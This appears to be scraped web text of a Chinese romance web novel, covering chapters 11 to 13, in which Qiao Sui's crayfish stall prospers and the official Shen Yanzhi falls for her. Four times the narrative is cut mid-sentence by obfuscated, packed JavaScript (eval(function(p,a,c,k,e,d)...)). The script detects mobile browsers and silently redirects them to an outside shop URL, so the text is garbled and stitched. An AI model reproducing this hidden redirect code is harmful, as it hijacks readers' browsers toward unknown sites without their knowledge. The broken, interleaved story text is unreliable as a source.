l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103146|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了村口，萍丫头和二人道了别，先行回了家，只剩下乔穗和沈宴之二人。 乔穗转过身，笑着对他说：“多谢大人，今日陪我们逛了许久。” 看着她的笑容，沈宴之的心跳，不由得快了几分。 他压下心里的异样，笑了笑：“无妨，开心便好。” “时候不早了，大人早些回去吧，夜里路滑，当心脚下。” “你也一样，回去吧。”沈宴之看着她，目光温和，里面带着几分连自己都未曾察觉的不舍。 乔穗点了点头，转身往自己家的方向走去。 沈宴之站在原地，目光柔和的看着她的背影，直到她拐了弯，看不见了，才收回目光。 他又站了一会儿，才回过身往城里走，脚下的步子却不如来时那般轻快。 回到府内，已是深夜。 见他回来，小厮连忙迎上来：“大人，您回来了。房间里给您备了热茶。” 沈宴之应了声便摆了摆手让小厮下去，自己则是去了书房。 他靠在椅背上，闭上眼，脑海里浮现出种种画面。 初见时，她站在大柳树下卖小龙虾，用独创的美食吸引了自己，再见时，她找上门来，恳请医官当众验虾，眼里的韧劲让他侧目。 再到后来，她租铺子没有借他的官威，踏踏实实的靠着自己的诚意，让他心生赞许。 面对谢旺财强力的刁难，奋起反抗不肯低头，那坦荡果敢的勇气，让他心生敬佩。 不知从何时起，这个卖小龙虾的姑娘，悄悄的走进了他的心里。 今晚发生的一切，加速了沈宴之对自己心意的确认。 她在集市里，替萍丫头挑兔子灯的样子，她放河灯时，眉眼柔和的样子，她哄别人时，语气温柔的样子，她站在路上，对他道谢的样子，还有她离开时，坚韧挺拔的背影，都在月色下深深的刻在了自己的脑海里。 护城河边，她眉眼柔和的站在自己的身侧，让他觉得，原来这世间的美好也不过如此。 他忘了两个人的身份、家世和地位，此刻，他只知道，自己对这个叫乔穗的女子，动了心。 他睁开眼，看向窗外的皎洁的月光透过窗子洒在眼前的桌子上，提起笔，在纸上写下了几个字。 “愿岁岁年年，皆如今日。” 沈宴之往年只愿这一方百姓，顺遂平安，而今年，竟在这祝词中藏上了自己的小心思。 他想看着她的小龙虾铺子越开越好，想看着她做生意时心满意足的笑，想看着她安安稳稳地过好自己的日子，想和她一起再看一次河灯，一起再走一次村口的小路。 他知道乔穗的性子，独立，倔强，心里面只有自己的小龙虾铺子。 如此，他便等着，等一个合适的时机，等她愿意回头，看看身边的人。 晚风从窗户轻轻的吹了进来，带着几分深夜的凉意，却吹不散沈宴之周身的暖意，也吹不散沈宴之笃定的心动。 中元节的河灯，映亮了整个护城河，而沈宴之的心里，在今夜，也亮起了一盏浅荷色的灯，那盏灯，映着乔穗的模样，温柔，明亮，漾漾入心。 只不过下一次，要以什么理由，去村口的那家“禾记小龙虾”呢？ 11. 虾铺日常忙 乔穗躺在床上，回想着今日发生的一切。 萍丫头看到新鲜事物时亮晶晶的眼睛，护城河上飘满的颜色各异的河灯，还有沈宴之扶住她时那平稳的力道，以及二人分别时，沈宴之似有不舍的目光。 她躺在枕头上，抿了抿嘴唇。沈宴之是个温和有礼的人，向来体贴周到，萍丫头年纪小，喜欢想一些有的没的，自己可不能跟着她一起犯糊涂。 说到底，她不过是一个普通人，沈宴之是朝廷命官，二人身份悬殊，根本就不是一个世界的人。 今日的一切，不过是中元节里一场普通的相约，结束了，他们二人便该回到他们原本的日子里去。 天刚蒙蒙亮，乔穗就起了床。 昨日看热闹没抓虾，她和萍丫头约好今天早点去小溪边，多抓一点才能供得上今日的货。 他们二人带着抓虾的工具来到小溪边，卯足了力气抓虾。 萍丫头手上忙着抓虾，眼睛却不受控制似的总往乔穗那边瞟。 “穗姐，”她憋了半天，终于还是开口说道：“昨日沈大人待你，真的不一般呢。” 乔穗手上的动作没停，捞住了几只肥硕的小龙虾，随手放进竹篮里，淡淡道：“看个灯而已，沈大人本就温和，对谁都这般。” “才不是呢！”萍丫头凑了过来，眼睛亮晶晶的，压低了声音，说道：“昨日在护城河边，你差点滑倒，沈大人那手伸得快极了，扶着你的时候，眼神都不一样，还有那河灯，他特地挑中了你喜欢的素净样子，比我还懂你呢！还有回来的时候，他跟在你身后，眼睛就没从你身上离开过。” 乔穗看了她一眼，抬头点了点她的额头，“小孩子家家，懂什么眼神不眼神的，专心抓虾，不然今日铺子里的货都不够。” 萍丫头捂着额头，噘着嘴，“我才不是小孩子，我说的都是真的！沈大人肯定是对你有意思，不然怎会老来铺子里，还特地陪我们去城里逛集市，哪有当官的这么闲。” 乔穗没接话，心里却莫名的动了一下，昨日沈宴之站在月光下，看着她的那个眼神，似乎确实比平日里多了些什么，只是她不愿意往深了想，也懒得往深了想。 她岔开话题：“别瞎想了，赶紧抓，今日客人定是不少，少了虾，可不够卖的。” 萍丫头见她不愿意提，也不敢再多说，只是嘴角扬着，心里笃定了沈大人对乔穗的心思，连抓虾的动作都麻利了不少。 回到铺子里，两人便开始忙活起来，乔穗烧了热水，开始清洗小龙虾，去虾线、刷虾壳，动作利落娴熟，萍丫头则在一旁择葱、切姜、备调料。 准备好一切，乔穗打开了铺子的大门，开始营业。 “穗丫头，今日开门够早的，昨日忙着没来，可想死你做的小龙虾了！” “可不是嘛，昨儿个去城里逛了集市，但还是惦记着你这口，赶紧给我来两斤香辣的！” 乔穗笑着应着：“好好好，大伙儿都有，都是早上抓的的新鲜虾，保证肥。” 院子里很快便坐满了人，还有些客人没位置，便站在里面等，萍丫头称虾打包收钱，忙的脚不沾地。乔穗则在灶台前，一锅一锅的煮着小龙虾，浓郁的香味飘得满院子都是，引得路过的人都忍不住停下脚步，顺着味进来看看。 这便是禾记小龙虾的日常，自开张以来，日日都是这般热闹，乔穗的小龙虾用料实在，价格也公道，不仅村里的人爱来，就连邻村的尝过之后，也会特意再跑过来买，小小的龙虾铺子，竟成了这江溪村里最热闹的地方。 晌午，人没那么多了，乔穗和萍丫头才能喘口气，二人咕咚咕咚的喝了大半碗水，靠在柜台上歇着。 这时，李大嫂坐在凳子上笑着对乔穗说：“穗丫头啊，你做的这小龙虾是好吃，可天天吃香辣的蒜蓉的，吃久了，也难免有点腻味。” 这话一出，其他客人也纷纷附和起来，一个年轻的小伙子说：“大嫂说的是，我这天天吃，嘴都吃刁了，就想尝尝新口味。” 还有个抱着孩子的大婶也说：“是啊，香辣的太辣，孩子吃不了，蒜蓉的虽然不辣，但是味道也有点重，要是有清淡点的口味就好了，男女老少都能吃的那种。” 乔穗正靠在灶台旁边喝着水，闻言，便放下手里的碗，笑着对众人说道：“乡亲们放心，我老早就想着这事了，这几日便打算推出新口味，清蒸小龙虾，不放调料，用新鲜的虾直接蒸，保留食物的原汁原味，再调两种蘸料，蒜蓉的和姜醋的，老人孩子都能吃。” 众人一听，都来了兴致，李大嫂拍着手说：“好啊好啊，清蒸的好，鲜得很，你手艺好，做出来定是好吃！” “啥时候能推出啊？我们可等着尝鲜呢！” “快了，就这两天，等我把料备齐了，便做出来给大家尝。”乔穗应着，心里已经开始盘算起来，清蒸小龙虾，关键在虾的新鲜和火候，还有蘸料的调配，蒜蓉要熬得香，姜醋要酸甜适中，这些都得一样一样的细细准备。 客人们听了，都满心欢喜的，又坐了会儿，便陆续的结了账离开了。 客人走了，乔穗和萍丫头也没闲着，开始收拾卫生，擦桌子洗盘子，将铺子里的东西一一归置整齐。 萍丫头一边擦桌子，一边又凑到乔穗身边，压低了声音：“穗姐，等清蒸小龙虾做出来了，要不要喊沈大人来尝尝？沈大人是读书人，想来也会喜欢清淡的口味。” 乔穗手上的抹布顿了顿，看了她一眼：“铺子是做生意的，谁来尝都一样，沈大人若是来了，自然有，若是不来，也不必特意喊。” 萍丫头撇撇嘴：“穗姐就是嘴硬，我看沈大人一定会来，就算不来，他身边的小厮也会来，毕竟他可是我们这的常客呢。” 乔穗没再接话，麻利的收拾完桌子后，又去处理剩下的小龙虾，挑出个头大的，留着明日尝试着做清蒸的，剩下的则归置好，放到阴凉处，下午若是有客人来，还能再做。 午后的铺子里静悄悄的，只有偶尔传来的几声蝉鸣，乔穗坐在凳子上，歇了片刻，萍丫头则趴在柜桌子上，打着小盹，忙碌了一上午，这片刻的清闲显得格外珍贵。 偶尔有路过的村民，隔着大门跟乔穗打个招呼，乔穗也笑着回应，日子就这样过得不紧不慢的，平平淡淡却又热热闹闹，充满了味道。 到了傍晚，铺子里没有客人来，乔穗便开始收拾东西，准备关门。 她将灶台擦得干干净净，调料都装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103147|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进瓷罐罐里，把盖子盖好。萍丫头则将桌凳都擦干净，摆整齐，然后将大门关上，落了锁。 两人提着剩下的一点东西，往家的方向走，夕阳将两人的影子拉得长长的，落在乡间的小路上，萍丫头一边走，一边叽叽喳喳地说着村子里有趣的事。 乔穗听着，偶尔的应上一句，嘴角却一直噙着淡淡的笑意。 晚风卷着乡间的草木气拂在脸上，凉丝丝的吹的人很舒服。 萍丫头挽着乔穗的胳膊，叽叽喳喳说着村里的新鲜事，末了又绕回了明日的新品，清蒸小龙虾上：“穗姐，明日要备的蒜和姜，我今晚上就准备好行不？我不会调料，就帮你打个下手，递递东西。” 乔穗侧过头看她一眼，嘴角勾着笑：“行，蒜姜你帮着弄，切细点就行，调料我自己来，清蒸的蘸料讲究得很，错了一步味道可就差远了。” 萍丫头立马点头，笑呵呵的说道：“放心！我保证切得整整齐齐，绝不给你添乱。” 回到家，乔穗推开院门，拎着剩下的小龙虾走到井边，全部倒进了木盆里，又接了盆清水，然后蹲在旁边，手脚麻利的拾掇小龙虾。 萍丫头坐在一旁的竹凳上，安安静静剥着蒜，再把姜和蒜洗干净后切成细细的丝，偶尔抬头看几眼正在忙活的乔穗，笑了笑，心里不知道在琢磨什么，却没说出口，怕分她的心。 她拾掇好虾，起身走到萍丫头身边，点头道：“切得不错，明日就这般，你帮我烧火、递东西，蒸虾的火候、还有调蘸料这些精细活，我自己来。” 说着便转身进了灶房，翻出了集市上买的米醋和冰糖，开始调姜醋汁，中间尝了尝，觉得差了点味，填进去半勺米醋后又尝了下，嗯，这味道才对，又把萍丫头剥好的蒜用小火慢慢的熬成蒜蓉。 萍丫头站在一旁，看着乔穗摆弄调料，凑到她身边说，“穗姐你手艺可真好，啥都会做，难怪大伙儿都爱来咱铺子吃虾。” 她笑了笑，没接话，把调好的姜醋汁盖好，放进灶台上方的柜子里，又检查了明日要用的调料没有缺的，才放下心来。 两人简单弄了晚饭，一碗稀粥，一碟腌菜，还有一碟炒青菜。 萍丫头吃着饭，嘴里还不忘念叨：“明日我定要早早的去铺子里，把灶膛烧好，等你来了就能直接用。” 乔穗笑着夹了一筷子青菜给她，“不用太早，明日来得及。” 吃完饭，萍丫头准备收拾碗筷，乔穗抬手拦住她：“别忙活了，碗我自己洗就行，天快黑了，赶紧回去吧，别让祖母担心。” 萍丫头应了声好，便推开院门顺着小路回家去了。 碗筷收拾妥当，乔穗坐在院子里的竹凳上，晚风轻轻吹着，树上的叶子沙沙作响。 她伸手理了下额前的碎发，脑子里不自觉想起了萍丫头说的话。 明日他若是真来尝虾，也不过是寻常客人，照常递上一碗便是，毕竟是两路人，犯不着琢磨别的。 她摇了摇头，把脑子里杂七杂八的念头抛开，随后起身回了屋。 她躺在床上，听着外边的虫鸣，脑子里又过了一遍清蒸小龙虾的做法和流程，才沉沉睡去。 明日的铺子里，得有多热闹啊！ 12. 清蒸小龙虾 第二天，乔穗和萍丫头早早地就来到了铺子，简单吃了口早饭，两人便开始手脚麻利地忙活起来。 萍丫头拿着扫帚扫院门口的地，又投了抹布擦桌凳上的浮灰，乔穗则从木盆里挑出一些个头大的，留出来做清蒸小龙虾。 往日里做的香辣和蒜蓉的，虾稍微小了些些也没有关系，可清蒸的讲究味道鲜美，个头和新鲜度都得挑最好的。 “穗姐，我把蒸笼摆上了，水也烧上了。” 萍丫头跟着乔穗打理铺子有些日子了，不仅手脚锻炼的麻利，脑子反应的也快了，而且她现在还揣着个小心思——穗姐和沈大人那点事儿，她看在眼里，记在心里，总盼着两人能多些交集，沈大人口味清淡，今日推出清蒸小龙虾，他说不准就会来，这可是个撮合他俩的好机会。 “火先温着，清蒸小龙虾最讲究火候，火大了肉老，火小了味腥，一丝都不能差。”乔穗一边说着，一边动作娴熟的处理小龙虾，满脑子都是怎么把这清蒸小龙虾做到最好，然后让铺子的生意更好一些。 太阳升起来，乔穗打开了铺子的大门，将处理干净的小龙虾一个挨一个的摆进蒸笼里，盖上盖子开始蒸。 第一个来的是李大嫂，一进院就笑着对乔穗说：“穗丫头，今天这味儿闻着就鲜，定是那清蒸的吧！昨儿听你说要推新口味，我一早就过来了，咱村谁能想到，这水虫到了你手里，竟然能做出这么多花样。” 她笑着应道：“嫂子来的这么早啊，小龙虾再过一会儿就蒸好了，先进来坐。” 村民们陆陆续续的进来，院里的座位一转眼就坐满了，王婶和张婶也赶来了，俩人跟乔穗素来相熟，经常给乔穗送一些自己家做的东西，还是铺子的老主顾，一进门就热络地喊：“穗丫头，我们来给你撑场子了！新口味肯定错不了，我俩今早特意把家里的活搁前头，就等着尝这口清蒸的！” 乔穗笑着朝二人摆了摆手，“婶子们快坐，刚蒸上，马上就好。” 没位置的村民就站在一边等着，嘴里有一搭没一搭的聊着天，眼神却都瞟着蒸锅的方向，都是冲着这清蒸新口味来的。 “蒸好了！” 乔穗掀开盖子，一股鲜气扑面而来，笼屉里的小龙虾蜷缩着身子，红彤彤的躺在里面，光是看这颜色就让人眼馋。 她将小龙虾装到了一个大盘子里，端到院里的桌子上，再摆上姜醋和蒜蓉两碟蘸料，笑着说：“新鲜出炉！大伙儿尝尝吧，姜醋解腻，蒜蓉增香，按自己喜欢的口味来，这是试吃的，不收钱！” 李大嫂率先剥好一只，蘸了姜醋汁放进嘴里，眼睛立马亮了起来，“我的娘，这也太鲜了！一点腥味都没有，还嫩得很，穗丫头你这手艺是真绝！” 王大伯也尝了一口，连连点头说：“清蒸的最见功夫，你这火侯掐得刚好，鲜味儿全锁在肉里了，香！” 王婶和张婶尝过之后，更是赞不绝口。 王婶立马朝着萍丫头喊：“萍丫头，快给婶装三斤清蒸的，回家给你张叔和俩娃都尝尝，这味儿比我想的还鲜，吃着正合适！” 说着又拉着乔穗唠嗑：“穗丫头，你这日子越过越好了，铺子的生意也一天比一天红火，比那镇上的馆子都热闹，你这手巧的，以后谁娶了你啊，可有福了！” 张婶也跟着凑到前头，笑着说“我要两斤清蒸一斤香辣，香辣的给我那馋嘴小子留着，清蒸的我和你张叔慢慢吃！穗丫头啊，你这手艺是越来越精了！对了，前儿个我家菜园子摘的黄瓜嫩得很，回头我给你送些来，配着虾吃解腻。” 乔穗一边往蒸笼里摆虾，一边笑着应：“多谢张婶，总让你破费，婶子们常来吃，就是对我最大的支持了。” 旁边的村民也跟着搭话，有人说：“穗丫头，我家那小子今个上学还念叨，让我放学来给他带半斤清蒸小龙虾。” 还有人说：“这做的是真不赖，我昨儿给邻村的亲戚送了点你家的香辣小龙虾，说了今天还有新口味，他赶紧就让我帮着捎两斤清蒸的。” 乡亲们吃得欢，还有不少人一边剥虾一边喊着：“穗丫头，给我打包两斤清蒸的，带回家给爹娘尝尝！” “穗丫头，俺蒜蓉和清蒸各来一斤！” “俺也是！俺也是！” 乔穗笑着应着，准备开始蒸下一锅，萍丫头则是守着柜台，称虾、打包、收钱，手里忙活个不停，嘴里面还笑着和乡亲们搭话，偶尔抬头瞥一眼外面的马路，心里想着沈大人怎么还没来，却也不敢多提，怕扰了乔穗的心思。 她忙了一上午，手里的活就没停过，压根就没留意萍丫头的那点小心思，更没往沈宴之那边想过。 沈宴之于她而言，只是一个普通朋友，要是来买虾，就是铺子里的一个普通客人，和来吃虾的村民们没什么两样。 中元节不过是朋友间的一个普通小聚而已，算不上什么的。 晌午时分，一辆马车停在了村口拐角处，从车上下来了个一个年过半百的老者，穿着体面的绸缎衣裳，身后还跟着管家和小厮，是镇上的周员外。 周员外早就听管家说江溪村有个小铺子，把水虫做得极为美味，今日还要推清蒸新口味，素爱尝鲜的他今日便专程赶了过来。 他走进院子，瞧着院里的简易朴实木桌木凳，闻着满院的鲜气，笑着开口：“听闻姑娘把溪里的水虫做成了美味，我今日特来尝尝。” 乔穗闻言笑着应道：“员外客气了，不过是农家小食，快请坐，今日推出了新品，快趁热尝尝。不要钱！” 萍丫头赶紧收拾好了桌凳引着周员外坐下，周员外夹了一只小龙虾，剥了壳蘸了姜醋汁吃进嘴里慢慢品着，半晌，放下筷子，开口称赞道：“这味道真是妙极了！肉质鲜嫩，鲜而不腥，这料汁也调得恰到好处，姑娘当真是好手艺，能把这无人问津的东西做得这般美味，实属难得。” 说罢，便让管家称了六斤，三斤清蒸三斤香辣，打包带回府里，还说自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103148|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往后会常来光顾，要是有新口味一定要及时告知他。 乔穗一边笑着一边客气地道谢，动作麻利地把小龙虾打包好，笑着递给周员外身后的管家。 周员外走后，铺子的生意依旧红火，直到日头西斜，二人在溪里捞的小龙虾才卖得一干二净。 忙了一天的乔穗和萍丫头终于能歇下来喘口气，两人坐在院里的木凳上，咕咚咕咚喝了大半碗水，萍丫头擦着额头的汗，开始收拾院里的桌椅，乔穗则去收拾蒸笼、碗筷，再把调料装进瓷罐里，盖好盖子，想着明日要再多捞一些虾，还要多备些姜蒜，把清蒸的口味做的更稳更鲜美一些。 萍丫头擦着桌子，终究还是忍不住了，凑到乔穗身边，压低声音说：“穗姐，沈大人今儿咋没来呢？我还特意留了几只最大的虾，想着他来的话蒸给他尝尝，莫不是公务太忙了？” 乔穗正低着头擦着灶台，手上的动作顿都没顿，语气平淡，像说一件再普通不过的事，“他是朝廷命官，公务缠身，来不来都是常事。铺子是做生意的，来的都是客，他不过是其中一个，犯不着特意留虾，也犯不着惦记。” 她是真的没把这事放在心上，别说沈宴之没来，就算来了，也只是照常招呼，称虾、收钱，和对待其他村民没任何区别，在她眼里，沈宴之只是一个普通的朋友加食客，两人身份悬殊，她从没想过有过多的交集，更谈不上喜欢。 “可他往常总来，今儿推出新口味，我还以为他会来呢。”萍丫头小声嘟囔着，心里还是觉得可惜，她只是单纯的觉得沈大人和穗姐看起来比较般配，却也知道穗姐的心思全在铺子上，也不敢多说。 乔穗擦完灶台，抬起头看了眼萍丫头，无奈说道：“你这孩子，整天就琢磨这些有的没的。我开这铺子，是为了过日子，把生意做好才是正经事，人来人往都是平常事，沈大人来不来，又有什么关系？别再瞎想了，赶紧收拾，天快黑了，关店回家。” 萍丫头耸耸肩，没敢再多说，赶紧收拾好桌子，再把凳子一一归置整齐。 夕阳西下，两人顺着小路往村子里走，夕阳把她们的影子拉得长长的，落在村口的小路上。 萍丫头挽着乔穗的胳膊，依旧小声念叨着：“那几只最大的虾留着明日蒸吧，说不定沈大人明日就来了。” 乔穗淡淡应了一声：“随你，明日还要多捞些虾，铺子的生意越来越好，我们抓紧时间多备一些货才是正经事。” “你放心吧穗姐！咱们明天起的再早一些，一定能抓的多多的！” “好！” 乔穗走在路上，脑子里却已经开始盘算着明日要几点起床去溪里捞虾，要怎么把清蒸虾的蘸料再调得精细些，让客人吃得更满意一点，还有下次推新口味是什么时候，要推什么样的口味。 至于沈宴之什么时候会来，她连想都没想，更谈不上有什么期待了。 把生意做好，把日子过好，这才是她现在脑子里最应该想的事！ 13. 县令提巧计 傍晚的府衙内渐渐的安静了下来，夕阳的余晖透过窗棂，在地上投下长长的影子。 沈宴之坐在案前，手里捏着一支毛笔，正在处理案件的卷宗。 窗外传来衙役们收拾东西的声音，里面还夹杂着几句闲谈。 “老张，你今儿去江溪村附近巡查，没去乔娘子的铺子看看？听说她今个推了清蒸小龙虾，鲜味儿飘了半条街呢！” 小李的声音带着几分雀跃，接着又说道：“我听乡亲们说，村里好多人都起个大早去排队，就为了尝尝这新口味。” “错不了！”老张的声音透着真切的夸赞，“我路过时瞅了一眼，院里面排满了人，连镇上的周员外都特意赶过去了，一下子买了六斤，还说往后要常来呢！乔娘子手艺好，真是把溪里的水虫做成宝贝了！” 两人的对话断断续续飘进沈宴之的耳朵里，他捏着笔的手指微微一顿，眉眼微垂。 他怎么会不想去。 中元节那晚的光景，此刻又清晰地在他的脑海里面重现。 听说她要推出新口味，今日特地留了时间，想着赶过去尝尝，给她道贺。 谁知临近午时，城里传来消息，早市散场后，有小贩争执斗殴，还丢了孩童，他只好亲自带人处置，忙完了天都快黑了。 听见旁人说她的铺子生意红火，沈宴之心里既有欣慰，又藏着一丝不易察觉的失落。 他并非是馋那口虾，只是想再看看她，问问她中元节过后是否安好，想再亲口跟她说一句，那晚的河灯，很好看。 沈宴之轻轻叹了口气，将笔搁在了砚台上，指尖轻轻摩挲着砚台边缘。 她和萍丫头两个姑娘家，既要抓虾又要打理铺子，很是辛苦，更何况，现在她的生意越做越好，自己抓虾怕是难以供得上铺子里每天的客人需求。 那条流经江溪村的小溪，连着周围的好几个村子，若能让村民帮忙抓虾，既能解货源之困，也能让她少受些累。 这念头一旦生出，便难以压下。 他重新拿起毛笔，加快了批阅卷宗的速度，眼神中多了几分笃定。 明日，无论如何也要去一趟她的铺子。 第二日天还没亮，乔穗就醒了，利落的穿好衣裳，拿起墙角的竹篓和网兜，准备去溪边抓虾。 “穗姐，等等我！” 二人原本约在溪边汇合，只是萍丫头也起得早，便过来和她同去，“我跟你一起去！” 乔穗回头看她：“怎么这么早？不是说在溪边汇合吗？” “昨儿的虾卖得一干二净，好多人没买到，今儿得多抓点！”她说着，偷偷瞄了乔穗一眼，脸上泛起笑意，“穗姐，我突然想起来中元节那天，沈大人的河灯和你是同款！” 乔穗无奈地看了她一眼：“大早上的又开始瞎琢磨。现在抓虾才是咱们的第一要紧事！什么河不河灯的！” 她嘴上这么说，心里却莫名闪过那晚护城河边的画面，他扶着自己胳膊时的力道，还有那句“小心些”，像投入湖面的石子，漾开一丝涟漪，让她来不及细想。 萍丫头吐了吐舌头，不再多言，可心里依旧惦记着。 她总觉得，沈大人对穗姐不一样，中元节特意陪她们逛集市、放河灯，还不摆官架子，这样的人，错过了多可惜。 两人迎着晨光，沿着小路往溪边走。 溪边的水很清，小龙虾在石头底下、水草旁边藏着，乔穗和萍丫头挽起裤脚拿着网兜小心翼翼地准备捕捞。 “穗姐，你看这只！多大呀！”萍丫头网住一只小龙虾，举起来给乔穗看，那虾比寻常的大了一圈，挥舞着钳子，力气十足。 “确实不错”乔穗笑着说，“用来清蒸正好。” 萍丫头心里乐开了花，连忙把那只虾单独放进一个小竹篮里：“这只就给沈大人留着！昨儿他没来，今儿来了，刚好尝尝这最大的！” 乔穗没反驳，只是摇了摇头，继续抓虾。 雾气散去，太阳慢慢升起来，两人的竹篓也满了，便提着虾往铺子走去。 回到铺子，两人就开始忙活起来。 萍丫头负责清洗桌凳、烧火，乔穗则坐在院子里处理小龙虾。 “穗姐，水烧开了！”萍丫头喊道。 “好，我这就摆蒸笼。”乔穗端起盆，把处理干净的小龙虾整齐地摆进蒸笼里，盖上盖子。 刚忙活完，就有村民陆续来了。 “穗丫头，早啊！今儿还能吃上清蒸的不？”王婶一进门就喊，手里还提着一篮子自家种的青菜，“给你带了点青菜，配着虾吃解腻！” “婶子早！肯定能吃上，我刚蒸上呢！”乔穗一边说着一边笑着接过青菜，“太不好意思了婶子，总让你破费。” “这算啥！你做的小龙虾虾这么好吃，俺这青菜都是自己家里种的，根本不算什么。”王婶摆了摆手，随便找了个位置坐下。 院子里渐渐热闹起来，村民们说说笑笑的，等着吃虾。 张叔和张婶也来了，一进门就热络地喊：“穗丫头，给我们留两斤清蒸的！你张叔昨天吃了喜欢的不得了，特意说今个要早来！” “大家放心！马上就好！”乔穗笑着应道。 萍丫头一边招呼着客人，一边时不时往门口望，心里嘀咕着，沈大人怎么还没来，昨日没来，今日还不早点。 她想起中元节那晚，沈大人一路耐心解答她的问题，还特意带她们去挑结实的河灯，那样温和有礼的人，真是打着灯笼都难找。 铺子的生意红火，一上午的功夫，大半的小龙虾就卖完了，午后又陆续来了些邻村的客人，都是听说做了新口味特意来的，到了傍晚，铺子里就只剩最后一小笼清蒸的，还有一些零散的香辣的。 乔穗擦了擦额头的的汗，坐在凳子上，“差不多该收摊了，剩下的这点，你收拾收拾，咱们带回家吃。” 萍丫头应着，眼睛却还是忍不住的往村口的方向望了望，脸上带着失落。 她戳了戳那只装着大虾的小竹篮，“穗姐，沈大人今儿怕是不来了，这只虾留了一天，再不吃就不新鲜了。” 乔穗笑着说，“那就蒸了，咱俩分着吃，也算没白费你特意留着的心思。” 萍丫头点点头，转过身要去灶台，就听见门口传来一阵脚步声，不疾不徐，带着几分沉稳。 她猛地回头，看清来人后眼睛瞬间亮了起来，脸上的失落一扫而空，高兴的说道：“沈大人！您可来了！” 乔穗也抬眼望去，只见沈宴之穿着一身藏青色常服，袖口微微挽起，衬得人温润谦和。 夕阳落在他身上，勾勒出挺拔的身形，他手里提了一个小小的纸包，从容的走进院子，嘴角带着淡淡的笑意，“看来我来的巧，还没收摊。” 他处理完最后一桩公务，便马不停蹄地往江溪村赶，生怕来晚了铺子关门。 乔穗起身笑着走上前，语气平和，“沈大人来了，快坐。确实刚要收摊，还剩点小龙虾，正打算自己吃呢。” “那我倒是沾了乔姑娘的光。”沈宴之走到桌旁坐下，笑着说。 一旁的萍丫头乐颠颠地跑去灶台，一边烧火蒸虾一边回头喊：“沈大人您稍等，这只虾我留了一天，特意给您的，马上就好！” 沈宴之闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103149|195764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，看向乔穗，眼底带着几分笑意：“倒是让萍娘子费心了。” 顿了顿，补充道：“昨日公务繁杂，没来尝你的新口味，实在抱歉。” “无妨，公务要紧。”乔穗笑了笑，“小龙虾还得等一会，大人先喝点水。” “我今日得空，可以慢慢等。” 沈宴之的目光扫过院里的竹篓，里面空空如也，又看向灶台边收拾的盆碗，轻声问道：“今日的虾，又卖空了？” “嗯，”乔穗点头，叹了口气，“昨儿也一样，好多客人没买到。我们两个天不亮就去溪里抓，也就抓这么些，而且现在溪里的小龙虾明显见少，这样下去，怕是会不够卖。” 沈宴之沉默了片刻，看着她：“你可知，这条小溪并非只流经江溪村？” 乔穗愣了愣：“我知道，好像还流经周围的几个村子。” “正是，”沈宴之说道，“这溪水清澈，盛产小龙虾，村民们平日里也常去溪边摸鱼。你若是觉得自己抓虾费力，又不够卖，不妨雇他们帮忙抓。” “雇人？” “嗯，”沈宴之点点头，“你可以跟村老说一声，让他帮忙传话，就说你这里收小龙虾，按斤给钱，要求新鲜和个头匀称。村民们闲着也是闲着，有钱可赚，自然都愿意来。你既省了力气，又能保证货源，岂不是两全其美？” 乔穗琢磨着他的话，眼睛慢慢亮了起来。她之前确实没想过雇人，总觉得自己抓的才放心，可随着生意越来越好，自己和萍丫头确实有些忙不过来，尤其是抓虾，耗时间不说，还累人。 “可……”乔穗有些犹豫，“我怕他们抓的虾不够新鲜，或者个头太小。” “这好办，”沈宴之说道，“你可以定个规矩，收货的时候亲自验货，不新鲜的、个头不达标的不收。价格也可以提前说好，公道合理，村民们自然会按你的要求来。” 他顿了顿，又补充道：“尤其是李村和王村，这两个村子离江溪村不远，村民们送来也方便。你若是信得过我，回头我可以跟那边的村老打个招呼，让他们多照应着点。” 乔穗看着他，心里生出了一丝暖意。 沈宴之的话，确实说到了她的心坎里，他也是是真心为她着想，言语里面没有半分敷衍。 “那就多谢沈大人了。”乔穗真诚地说道，“这个法子确实好，我回头就跟村老说一声。” 看到她脸上的笑意，沈宴之的心里也松快了不少，语气放的更加柔和，“举手之劳，不必客气。你把铺子经营好，日子过得舒心，比什么都强。” “穗姐！沈大人！小龙虾好了！”萍丫头端着一个大盘子过来，盘子里的小龙虾红彤彤的，个头匀称，最中间那只，明显比其他的大了一圈，正是她特意留的。 “沈大人，您尝尝，这是特意为您留的最大的一只！” 